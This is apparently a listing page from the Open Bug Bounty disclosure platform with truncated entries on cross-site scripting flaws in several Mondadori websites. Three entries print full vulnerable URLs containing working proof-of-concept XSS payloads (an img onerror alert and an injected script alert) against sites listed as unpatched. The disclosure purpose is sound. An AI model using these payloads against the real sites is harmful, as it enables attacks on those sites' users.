catalogostorico.fondazionemondadori.it Cross Site Scripting vulnerability OBB-3346578

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

mondadori.com XSS vulnerability

Vulnerable URL: http://www.mondadori.com/search/%22%3E%3Cimg%20src=x%20onerror=alert/XSS/%3E%3C?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E%3C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...

mondadori.it XSS vulnerability

Vulnerable URL: http://www.mondadori.it/cerca/"sss?s="sss" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 110794 VIP website status:| No Coordinated Disclosure Timeline: Descriptio...

connect.mondadori.it XSS vulnerability

Vulnerable URL: http://connect.mondadori.it/login?urlRitorno=%5B%27http%3A%2F%2Fwww.panorama.it%27%5D=%5B%27PANORAMA2014%27%5D=%5B%27WE%27%5D%22%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.20...